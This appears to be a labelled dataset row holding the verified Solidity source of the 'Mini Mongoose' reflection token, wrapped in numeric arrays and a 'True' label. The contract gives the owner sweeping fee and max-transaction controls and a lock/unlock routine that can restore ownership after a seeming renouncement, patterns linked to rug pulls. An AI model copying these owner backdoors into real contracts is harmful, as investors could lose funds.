1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1
] |
/**
*Submitted for verification at Etherscan.io on 2021-12-09
*/
/*
https://t.me/MiniMongoose
2% Reflection to holders
5% Marketing
5% NFT Infrastructure
*/
// SPDX-License-Identifier: Unlicensed
pragma solidity ^0.6.12;
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
*
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
*
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts with custom message on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts with custom message when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function isContract(address account) internal view returns (bool) {
// According to EIP-1052, 0x0 is the value returned for not-yet created accounts
// and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned
// for accounts without code, i.e. `keccak256('')`
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash := extcodehash(account) }
return (codehash != accountHash && codehash != 0x0);
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
/**
* @dev Performs a Solidity function call using a low level `call`. A
* plain`call` is an unsafe replacement for a function call: use this
* function instead.
*
* If `target` reverts with a revert reason, it is bubbled up by this
* function (like regular Solidity function calls).
*
* Returns the raw returned data. To convert to the expected return value,
* use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
*
* Requirements:
*
* - `target` must be a contract.
* - calling `target` with `data` must not revert.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
* `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
/**
* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
* with `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
uint256 private _lockTime;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor () internal {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
function geUnlockTime() public view returns (uint256) {
return _lockTime;
}
//Locks the contract for owner for the amount of time provided
function lock(uint256 time) public virtual onlyOwner {
_previousOwner = _owner;
_owner = address(0);
_lockTime = now + time;
emit OwnershipTransferred(_owner, address(0));
}
//Unlocks the contract for owner when _lockTime is exceeds
function unlock() public virtual {
require(_previousOwner == msg.sender, "You don't have permission to unlock");
require(now > _lockTime , "Contract is locked until 7 days");
emit OwnershipTransferred(_owner, _previousOwner);
_owner = _previousOwner;
}
}
interface IUniswapV2Factory {
event PairCreated(address indexed token0, address indexed token1, address pair, uint);
function feeTo() external view returns (address);
function feeToSetter() external view returns (address);
function getPair(address tokenA, address tokenB) external view returns (address pair);
function allPairs(uint) external view returns (address pair);
function allPairsLength() external view returns (uint);
function createPair(address tokenA, address tokenB) external returns (address pair);
function setFeeTo(address) external;
function setFeeToSetter(address) external;
}
interface IUniswapV2Pair {
event Approval(address indexed owner, address indexed spender, uint value);
event Transfer(address indexed from, address indexed to, uint value);
function name() external pure returns (string memory);
function symbol() external pure returns (string memory);
function decimals() external pure returns (uint8);
function totalSupply() external view returns (uint);
function balanceOf(address owner) external view returns (uint);
function allowance(address owner, address spender) external view returns (uint);
function approve(address spender, uint value) external returns (bool);
function transfer(address to, uint value) external returns (bool);
function transferFrom(address from, address to, uint value) external returns (bool);
function DOMAIN_SEPARATOR() external view returns (bytes32);
function PERMIT_TYPEHASH() external pure returns (bytes32);
function nonces(address owner) external view returns (uint);
function permit(address owner, address spender, uint value, uint deadline, uint8 v, bytes32 r, bytes32 s) external;
event Mint(address indexed sender, uint amount0, uint amount1);
event Burn(address indexed sender, uint amount0, uint amount1, address indexed to);
event Swap(
address indexed sender,
uint amount0In,
uint amount1In,
uint amount0Out,
uint amount1Out,
address indexed to
);
event Sync(uint112 reserve0, uint112 reserve1);
function MINIMUM_LIQUIDITY() external pure returns (uint);
function factory() external view returns (address);
function token0() external view returns (address);
function token1() external view returns (address);
function getReserves() external view returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast);
function price0CumulativeLast() external view returns (uint);
function price1CumulativeLast() external view returns (uint);
function kLast() external view returns (uint);
function mint(address to) external returns (uint liquidity);
function burn(address to) external returns (uint amount0, uint amount1);
function swap(uint amount0Out, uint amount1Out, address to, bytes calldata data) external;
function skim(address to) external;
function sync() external;
function initialize(address, address) external;
}
interface IUniswapV2Router01 {
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidity(
address tokenA,
address tokenB,
uint amountADesired,
uint amountBDesired,
uint amountAMin,
uint amountBMin,
address to,
uint deadline
) external returns (uint amountA, uint amountB, uint liquidity);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
function removeLiquidity(
address tokenA,
address tokenB,
uint liquidity,
uint amountAMin,
uint amountBMin,
address to,
uint deadline
) external returns (uint amountA, uint amountB);
function removeLiquidityETH(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external returns (uint amountToken, uint amountETH);
function removeLiquidityWithPermit(
address tokenA,
address tokenB,
uint liquidity,
uint amountAMin,
uint amountBMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s
) external returns (uint amountA, uint amountB);
function removeLiquidityETHWithPermit(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s
) external returns (uint amountToken, uint amountETH);
function swapExactTokensForTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external returns (uint[] memory amounts);
function swapTokensForExactTokens(
uint amountOut,
uint amountInMax,
address[] calldata path,
address to,
uint deadline
) external returns (uint[] memory amounts);
function swapExactETHForTokens(uint amountOutMin, address[] calldata path, address to, uint deadline)
external
payable
returns (uint[] memory amounts);
function swapTokensForExactETH(uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline)
external
returns (uint[] memory amounts);
function swapExactTokensForETH(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline)
external
returns (uint[] memory amounts);
function swapETHForExactTokens(uint amountOut, address[] calldata path, address to, uint deadline)
external
payable
returns (uint[] memory amounts);
function quote(uint amountA, uint reserveA, uint reserveB) external pure returns (uint amountB);
function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) external pure returns (uint amountOut);
function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) external pure returns (uint amountIn);
function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts);
function getAmountsIn(uint amountOut, address[] calldata path) external view returns (uint[] memory amounts);
}
interface IUniswapV2Router02 is IUniswapV2Router01 {
function removeLiquidityETHSupportingFeeOnTransferTokens(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external returns (uint amountETH);
function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s
) external returns (uint amountETH);
function swapExactTokensForTokensSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function swapExactETHForTokensSupportingFeeOnTransferTokens(
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external payable;
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
}
// Contract implementation
contract MiniMongoose is Context, IERC20, Ownable {
using SafeMath for uint256;
using Address for address;
mapping (address => uint256) private _rOwned;
mapping (address => uint256) private _tOwned;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcludedFromFee;
mapping (address => bool) private _isExcluded;
address[] private _excluded;
uint256 private constant MAX = ~uint256(0);
uint256 private _tTotal = 1000000000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
string private _name = 'Mini Mongoose';
string private _symbol = '$MiniMon';
uint8 private _decimals = 9;
uint256 private _taxFee = 2;
uint256 private _developmentFee = 10;
uint256 private _previousTaxFee = _taxFee;
uint256 private _previousDevelopmentFee = _developmentFee;
address payable public _developmentWalletAddress;
address payable public _marketingWalletAddress;
IUniswapV2Router02 public immutable uniswapV2Router;
address public immutable uniswapV2Pair;
bool inSwap = false;
bool public swapEnabled = true;
uint256 private _maxTxAmount = 15000000000e9;
// We will set a minimum amount of tokens to be swaped => 5M
uint256 private _numOfTokensToExchangeForDevelopment = 5 * 10**3 * 10**9;
event MinTokensBeforeSwapUpdated(uint256 minTokensBeforeSwap);
event SwapEnabledUpdated(bool enabled);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor (address payable developmentWalletAddress, address payable marketingWalletAddress) public {
_developmentWalletAddress = developmentWalletAddress;
_marketingWalletAddress = marketingWalletAddress;
_rOwned[_msgSender()] = _rTotal;
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
.createPair(address(this), _uniswapV2Router.WETH());
uniswapV2Router = _uniswapV2Router;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_developmentWalletAddress] = true;
_isExcludedFromFee[_marketingWalletAddress] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public view returns (string memory) {
return _name;
}
function symbol() public view returns (string memory) {
return _symbol;
}
function decimals() public view returns (uint8) {
return _decimals;
}
function totalSupply() public view override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
if (_isExcluded[account]) return _tOwned[account];
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function isExcluded(address account) public view returns (bool) {
return _isExcluded[account];
}
function setExcludeFromFee(address account, bool excluded) external onlyOwner() {
_isExcludedFromFee[account] = excluded;
}
function totalFees() public view returns (uint256) {
return _tFeeTotal;
}
function deliver(uint256 tAmount) public {
address sender = _msgSender();
require(!_isExcluded[sender], "Excluded addresses cannot call this function");
(uint256 rAmount,,,,,) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rTotal = _rTotal.sub(rAmount);
_tFeeTotal = _tFeeTotal.add(tAmount);
}
function reflectionFromToken(uint256 tAmount, bool deductTransferFee) public view returns(uint256) {
require(tAmount <= _tTotal, "Amount must be less than supply");
if (!deductTransferFee) {
(uint256 rAmount,,,,,) = _getValues(tAmount);
return rAmount;
} else {
(,uint256 rTransferAmount,,,,) = _getValues(tAmount);
return rTransferAmount;
}
}
function tokenFromReflection(uint256 rAmount) public view returns(uint256) {
require(rAmount <= _rTotal, "Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function excludeAccount(address account) external onlyOwner() {
require(account != 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D, 'We can not exclude Uniswap router.');
require(!_isExcluded[account], "Account is already excluded");
if(_rOwned[account] > 0) {
_tOwned[account] = tokenFromReflection(_rOwned[account]);
}
_isExcluded[account] = true;
_excluded.push(account);
}
function includeAccount(address account) external onlyOwner() {
require(_isExcluded[account], "Account is already excluded");
for (uint256 i = 0; i < _excluded.length; i++) {
if (_excluded[i] == account) {
_excluded[i] = _excluded[_excluded.length - 1];
_tOwned[account] = 0;
_isExcluded[account] = false;
_excluded.pop();
break;
}
}
}
function removeAllFee() private {
if(_taxFee == 0 && _developmentFee == 0) return;
_previousTaxFee = _taxFee;
_previousDevelopmentFee = _developmentFee;
_taxFee = 0;
_developmentFee = 0;
}
function restoreAllFee() private {
_taxFee = _previousTaxFee;
_developmentFee = _previousDevelopmentFee;
}
function isExcludedFromFee(address account) public view returns(bool) {
return _isExcludedFromFee[account];
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address sender, address recipient, uint256 amount) private {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if(sender != owner() && recipient != owner())
require(amount <= _maxTxAmount, "Transfer amount exceeds the maxTxAmount.");
uint256 contractTokenBalance = balanceOf(address(this));
if(contractTokenBalance >= _maxTxAmount)
{
contractTokenBalance = _maxTxAmount;
}
bool overMinTokenBalance = contractTokenBalance >= _numOfTokensToExchangeForDevelopment;
if (!inSwap && swapEnabled && overMinTokenBalance && sender != uniswapV2Pair) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if(contractETHBalance > 0) {
sendETHToDevelopment(address(this).balance);
}
}
bool takeFee = true;
if(_isExcludedFromFee[sender] || _isExcludedFromFee[recipient]){
takeFee = false;
}
_tokenTransfer(sender,recipient,amount,takeFee);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap{
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToDevelopment(uint256 amount) private {
_developmentWalletAddress.transfer(amount.mul(2).div(6));
_marketingWalletAddress.transfer(amount.mul(2).div(6));
}
function manualSwap() external onlyOwner() {
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualSend() external onlyOwner() {
uint256 contractETHBalance = address(this).balance;
sendETHToDevelopment(contractETHBalance);
}
function setSwapEnabled(bool enabled) external onlyOwner(){
swapEnabled = enabled;
}
function _tokenTransfer(address sender, address recipient, uint256 amount, bool takeFee) private {
if(!takeFee)
removeAllFee();
if (_isExcluded[sender] && !_isExcluded[recipient]) {
_transferFromExcluded(sender, recipient, amount);
} else if (!_isExcluded[sender] && _isExcluded[recipient]) {
_transferToExcluded(sender, recipient, amount);
} else if (!_isExcluded[sender] && !_isExcluded[recipient]) {
_transferStandard(sender, recipient, amount);
} else if (_isExcluded[sender] && _isExcluded[recipient]) {
_transferBothExcluded(sender, recipient, amount);
} else {
_transferStandard(sender, recipient, amount);
}
if(!takeFee)
restoreAllFee();
}
function _transferStandard(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tDevelopment) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeDevelopment(tDevelopment);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferToExcluded(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tDevelopment) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_tOwned[recipient] = _tOwned[recipient].add(tTransferAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeDevelopment(tDevelopment);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferFromExcluded(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tDevelopment) = _getValues(tAmount);
_tOwned[sender] = _tOwned[sender].sub(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeDevelopment(tDevelopment);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferBothExcluded(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tDevelopment) = _getValues(tAmount);
_tOwned[sender] = _tOwned[sender].sub(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_tOwned[recipient] = _tOwned[recipient].add(tTransferAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeDevelopment(tDevelopment);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeDevelopment(uint256 tDevelopment) private {
uint256 currentRate = _getRate();
uint256 rDevelopment = tDevelopment.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rDevelopment);
if(_isExcluded[address(this)])
_tOwned[address(this)] = _tOwned[address(this)].add(tDevelopment);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tFee, uint256 tDevelopment) = _getTValues(tAmount, _taxFee, _developmentFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tDevelopment);
}
function _getTValues(uint256 tAmount, uint256 taxFee, uint256 developmentFee) private pure returns (uint256, uint256, uint256) {
uint256 tFee = tAmount.mul(taxFee).div(100);
uint256 tDevelopment = tAmount.mul(developmentFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tDevelopment);
return (tTransferAmount, tFee, tDevelopment);
}
function _getRValues(uint256 tAmount, uint256 tFee, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns(uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns(uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
for (uint256 i = 0; i < _excluded.length; i++) {
if (_rOwned[_excluded[i]] > rSupply || _tOwned[_excluded[i]] > tSupply) return (_rTotal, _tTotal);
rSupply = rSupply.sub(_rOwned[_excluded[i]]);
tSupply = tSupply.sub(_tOwned[_excluded[i]]);
}
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function _getTaxFee() private view returns(uint256) {
return _taxFee;
}
function _getMaxTxAmount() private view returns(uint256) {
return _maxTxAmount;
}
function _getETHBalance() public view returns(uint256 balance) {
return address(this).balance;
}
function _setTaxFee(uint256 taxFee) external onlyOwner() {
require(taxFee >= 0 && taxFee <= 25, 'taxFee should be in 0 - 25');
_taxFee = taxFee;
}
function _setDevelopmentFee(uint256 developmentFee) external onlyOwner() {
require(developmentFee >= 1 && developmentFee <= 25, 'developmentFee should be in 1 - 25');
_developmentFee = developmentFee;
}
function _setDevelopmentWallet(address payable developmentWalletAddress) external onlyOwner() {
_developmentWalletAddress = developmentWalletAddress;
}
function _setMarketingWallet(address payable marketingWalletAddress) external onlyOwner() {
_marketingWalletAddress = marketingWalletAddress;
}
function _setMaxTxAmount(uint256 maxTxAmount) external onlyOwner() {
_maxTxAmount = maxTxAmount;
}
} | True | [
101,
1013,
1008,
1008,
1008,
7864,
2005,
22616,
2012,
28855,
29378,
1012,
22834,
2006,
25682,
1011,
2260,
1011,
5641,
1008,
1013,
1013,
1008,
16770,
1024,
1013,
1013,
1056,
1012,
2033,
1013,
7163,
8202,
3995,
9232,
1016,
1003,
9185,
2000,
13304,
1019,
1003,
5821,
1019,
1003,
1050,
6199,
6502,
